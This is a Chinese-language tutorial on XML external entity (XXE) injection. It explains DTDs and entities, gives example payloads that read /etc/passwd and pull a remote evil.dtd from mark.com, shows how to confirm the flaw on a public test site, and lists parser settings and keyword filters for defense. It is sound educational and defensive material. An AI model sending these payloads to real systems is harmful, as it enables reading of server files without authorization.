1.背景
现在很多应用都存在XXE(XML External Entity attack)漏洞,就是xml外部实体攻击,比如facebook,很多XML的解析器默认是含有XXE漏洞的。
2.xml的定义
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。两个采用不同技术的系统可以通过XML进行通信和交换数据。
例如:
<?xml version=‘1.0‘?> <student> <name>lihua</name> <stuNumber>123456789</stuNumber> <address>广东</address> </student>
-
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
-
引用外部DTD
-
<!DOCTYPE 根元素 SYSTEM "文件名">
-
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
-
内部声明实体
<!ENTITY 实体名称 "实体的值">
-
引用外部实体
1.<!ENTITY 实体名称 SYSTEM "URI">
2.<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
3.XML外部实体注入(XML External Entity)
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引入外部实体的方式
方式一:
<?xml version=‘1.0‘?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> ?
方式二:
<?xml version=‘1.0‘?> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://mark.com/evil.dtd"> %d; ]> DTD文件内容 <!ENTITY b SYSTEM "file:///etc/passwd">
方式三:
<?xml version=‘1.0‘ encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY a SYSTEM "http://mark.com/evil.dtd"> ]> dtd文档内容 <!ENTITY b SYSTEM "file:///etc/passwd">
4.什么是xml实体攻击
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。
5.怎么甄别一个XML实体攻击漏洞?
通过抓包,修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
6.如何确认XXE漏洞?
通过访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’
请求包:
响应:
观察以上请求和响应,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。
自定义xml外部实体测试,请求和响应,定义了一个名为myentity、值为’testing’的实体。响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了,可确认存在XXE漏洞
7.防御XXE攻击
方法一:使用开发语言提供的禁用外部实体的方法
php:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方法二:过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。